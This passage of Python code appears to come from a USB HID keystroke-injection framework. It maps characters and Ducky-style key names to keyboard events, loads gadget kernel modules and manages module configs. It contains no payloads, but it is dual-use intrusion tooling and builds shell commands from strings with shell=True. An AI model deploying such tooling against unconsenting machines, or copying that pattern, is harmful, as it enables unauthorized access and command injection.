        self.keyboard_layout = keyboard_layout
        # stores .language layout
        self.language_layout = language_layout

        # defaults
        self.default_delay = 1000  # 1000ms / 1s default
        self.__keyboard = ""

        # dummy last commands
        self.command = ""
        self.last_command = ""

        # still to add: return, enter, esc, escape, backspace, meta, ctrl, shift, alt (Like ducky)
        self.__special_char_equivalent = {
            " ": "space",
            "	": "tab",  # For the rare occasion
            "`": "backquote",
            "!": "left-shift 1",
            "\"": "left-shift 2",
            "£": "left-shift  3",
            "$": "left-shift 4",
            "%": "left-shift 5",
            "^": "left-shift 6",
            "&": "left-shift 7",
            "*": "left-shift 8",
            "(": "left-shift 9",
            ")": "left-shift 0",
            "-": "minus",
            "_": "left-shift minus",
            "=": "equals",
            "+": "left-shift equals",
            "{": " left-shift lbracket",
            "}": "left-shift rbracket",
            "[": "lbracket",
            "]": "rbracket",
            ";": "semi-colon",
            ":": "left-shift semi-colon",
            "'": "quote",
            "@": "left-shift quote",
            "#": "hash",
            "~": "left-shift hash",
            "\\": "backslash",
            "|": "left-shift backslash",
            ",": "comma",
            "<": "left-shift comma",
            ".": "period",
            ">": "left-shift period",
            "/": "slash",
            "?": "left-shift slash",
            "\n": ""  # We don't like your kind around here
        }

        self.__key_equivalent = {
            # Standard Commands
            "GUI": "left-meta",
            "WINDOWS": "left-meta",
            "MENU": "menu",
            "APP": "menu",
            "SHIFT": "left-shift",
            "ALT": "left-alt",
            "CONTROL": "left-ctrl",
            "CTRL": "left-ctrl",

            # Arrow Keys
            "DOWNARROW": "down",
            "DOWN": "down",
            "LEFTARROW": "left",
            "LEFT": "left",
            "RIGHTARROW": "right",
            "RIGHT": "right",
            "UPARROW": "up",
            "UP": "up",

            # Extended Commands
            "BREAK": "pause",
            "PAUSE": "pause",
            "CAPSLOCK": "caps-lock",
            "DELETE": "delete",
            "ESC": "escape",
            "ESCAPE": "escape",
            "HOME": "home",
            "INSERT": "insert",
            "NUMLOCK": "num-lock",
            "PAGEUP": "pageup",
            "PAGEDOWN": "pagedown",
            "PRINTSCREEN": "print",
            "SCROLLLOCK": "scroll-lock",
            "ENTER": "enter",
            "SPACE": " ",
            "TAB": "tab",

            # TODO ADD F1-12
        }

        self.__command_equivalent = {
            "CTRL-ALT-DELETE": "left-ctrl left-alt delete",
            "CTRL-SHIFT-ESC": "left-ctrl left-shift escape"
        }

        super().__init__(driver_name="g_hid",
                         enabled=enabled,
                         debug=debug,
                         name="keyboard",
                         type="component")
        self.keyboard.debug("Keyboard created", color=Format.color_success)
class FwComponentGadget():
    """Parent class for components requiring use of usb_gadget

    Args:
        driver_name:    the driver being used e.g. g_hid
        enabled:         manages the on/off state

    functions:
        enable:         allows for enabling of driver
        disable:        allows for disabling of driver

    Returns:
        framework component object

    Raises:
        ImportError when kernel module not found
    """
    def __init__(self,
                 driver_name,
                 enabled=False,
                 vendor_id="",
                 product_id="",
                 debug=False,
                 name="debug",
                 type="component"):
        """Return a new framework component"""
        self.gadget = Debug(name=name, type=type, debug=debug)
        self.driver_name = driver_name
        # If kernel module was not found then modprobe -n will return driver_name not found in modules
        if "not found" in subprocess.run(["modprobe", "-n", driver_name],
                                         stdout=subprocess.PIPE).stdout.decode(
                                             'utf-8'):  # THROW EXCEPTION HERE
            self.gadget.debug("CRITICAL: %s does not exist" % driver_name,
                              color=Format.color_danger)
        self.driver_name = driver_name

        if enabled:
            self.enable()

        self.enabled = enabled

        self.vendor_id = vendor_id
        self.product_id = product_id

    def enable(self):
        """Enable a disabled framework object"""
        if not self.enabled:
            subprocess.call(
                "modprobe %s %s %s" %
                (self.driver_name, self.vendor_id, self.product_id),
                shell=True)
            self.gadget.debug(self.enabled)
            self.enabled = True
        else:
            self.gadget.debug("Driver already enabled: %s" % self.enabled,
                              color=Format.color_info)

    def disable(self):
        """Disable an enabled framework object"""
        try:  # This might be called on destroy, which can throw an error.
            if self.enabled:
                subprocess.call("modprobe -r %s" % self.driver_name,
                                shell=True)
                self.enabled = False
            else:
                self.gadget.debug("Driver already disabled: %s" % True,
                                  color=Format.color_info)
        except Exception:
            self.gadget.debug("Driver already disabled: %s" % True,
                              color=Format.color_info)

    def status(self):
        """Return the driver status"""
        self.gadget.debug("Driver enabled: %s" % self.enabled,
                          color=Format.color_info)
        return self.enabled
class ModuleManager:
    """
     Args:
                save_needs_confirm          Flag to determine if the manager should rely on the confirmation state or
                                            just allow all save attempts

                debug                       Flag to enable or disable debug messages which can provide further feedback
                                            on status of module

            functions:
                get_module_by_name          Returns the module descriptor of a module specified by name

                save_config                 Saves the current configuration of a module specified by name

                import_module_config        Imports the configuration file of all modules, overwrites unsaved
                                            module configurations

            Returns:
                ModuleManager object

            Raises:
                A dog


    """
    def __init__(self, debug=False, save_needs_confirm=True):
        self.module_manager = Debug(name="ModuleManager",
                                    type="Helper",
                                    debug=debug)

        # Enables or disables the save confirmation feature
        self.save_needs_confirm = save_needs_confirm

        # Define directory and module paths
        self.main_path = os.path.dirname(os.path.realpath(__file__))
        self.modules_dir = self.main_path + "/../modules"
        self.module_list = []
        self.module_order = []
        self.import_module_configs()

    def get_module_by_name(self, module):
        for m in self.module_list:
            if m.module_name == module:
                return m
        self.module_manager.debug("Error: Unable to get module by name: %s" %
                                  module,
                                  color=Format.color_danger)

    def save_config(self, module_name, confirm=False):
        """
        Saves current module config to the appropriate ini file

        :param module_name:
        :param confirm:
        :return True if success, False if Failure:
        """

        # Saves current configuration to module config file
        if confirm or not self.save_needs_confirm:
            config = configparser.ConfigParser()
            module_config = self.modules_dir + '/%s/%s.ini' % (module_name,
                                                               module_name)
            config.read(module_config)
            # locate module that will be editing
            module = self.get_module_by_name(module=module_name)

            config.set("general", "module_name", module.module_name)
            config.set("general", "module_desc", module.module_desc)
            config.set("general", "version", module.version)
            config.set("general", "module_help", module.module_help)
            for option in module.options.items():
                self.module_manager.debug("option: " + option[0] + " : " +
                                          option[1],
                                          color=Format.format_clear)
                config.set("options", option[0], option[1])
            for fw_requirements in module.fw_requirements.items():
                config.set("fw_requirements", fw_requirements[0],
                           fw_requirements[1])
            for output_format in module.output_format.items():
                config.set("output_format", output_format[0], output_format[1])

            with open(module_config, 'w') as configfile:
                config.write(configfile)
            self.module_manager.debug("Saved module options",
                                      color=Format.color_success)

            return True
        return False

    def discover_modules(self):
        """
        looks for modules where modules are a directory containing files
        There should be at least one .py file -but if not that's not our fault.

        :return modules as list:
        """

        # get the module paths from modules directory
        self.module_manager.debug("discover_modules: Looking for modules...",
                                  color=Format.color_info,
                                  formatting=Format.decoration_bold)
        module_paths = os.listdir(self.modules_dir)

        # identify module name from file path
        #        return [os.path.splitext(m)[0] for m in module_paths]
        return [
            m for m in module_paths
            if os.path.isdir(self.modules_dir + "/" + m)
        ]

    def import_module_configs(self):
        # print("Import Module Configs:")
        config = configparser.ConfigParser()

        # (Import | Freak out over) module config
        for this_module in self.discover_modules():

            module_path = self.modules_dir + '/%s/%s.ini' % (this_module,
                                                             this_module)

            try:
                # Attempt to read current module's config file
                Path(module_path).resolve()

            except FileNotFoundError:

                # Was unable to read this module, log an error then skip
                self.module_manager.debug(this_module +
                                          " config file not found!",
                                          color=Format.color_warning)
                self.module_manager.debug(module_path)
                continue

            else:
                # Module config exists, start importing datas
                self.module_manager.debug(this_module +
                                          " config file found, importing data",
                                          color=Format.format_clear)
                config.read(module_path)

            try:
                # get  module_desc, options, fw_requirements, output_format, version, module_help
                current_module = ModuleDescriptor(
                    module_name=config.get("general", 'module_name'),
                    module_desc=config.get("general", 'module_desc'),
                    version=config.get("general", 'version'),
                    module_help=config.get("general", 'module_help'),
                    # _sections[section] returns as a dictionary
                    options=config._sections['options'],
                    fw_requirements=config._sections['fw_requirements'],
                    output_format=config._sections['output_format'])
                self.module_list.append(current_module)

                # Prevent ordered dict from duplicating everything
                config._sections["general"] = {}
                config._sections["options"] = {}
                config._sections["fw_requirements"] = {}
                config._sections['output_format'] = {}

            except configparser.Error:
                self.module_manager.debug(
                    "Error: Unable to import module from file",
                    color=Format.color_warning)
            else:
                self.update_order(module_name=this_module)

        self.module_manager.debug(
            "modules loaded: " +
            str([module.module_name for module in self.module_list]),
            color=Format.color_info
            if len(self.module_list) else Format.color_danger)

    def update_order(self, module_name):
        try:
            module = self.get_module_by_name(module_name)

            if "true" == module.options["enabled"].lower():
                try:
                    # If it already exists it needs to be removed first
                    self.module_order.remove(module_name)
                except Exception:
                    # Easier to ask for forgiveness
                    pass

                # Add module to order
                self.module_order.append(module_name)
                self.module_manager.debug("%s added to order" % (module_name),
                                          color=Format.color_info)

            else:
                try:
                    self.module_order.remove(module_name)
                except Exception:
                    pass  # probably don't need to remove it
                else:
                    self.module_manager.debug("% removed from order",
                                              color=Format.color_success)
        except Exception as reason:
            self.module_manager.debug("Could not add or remove %s as %s" %
                                      (module_name, reason),
                                      color=Format.color_warning)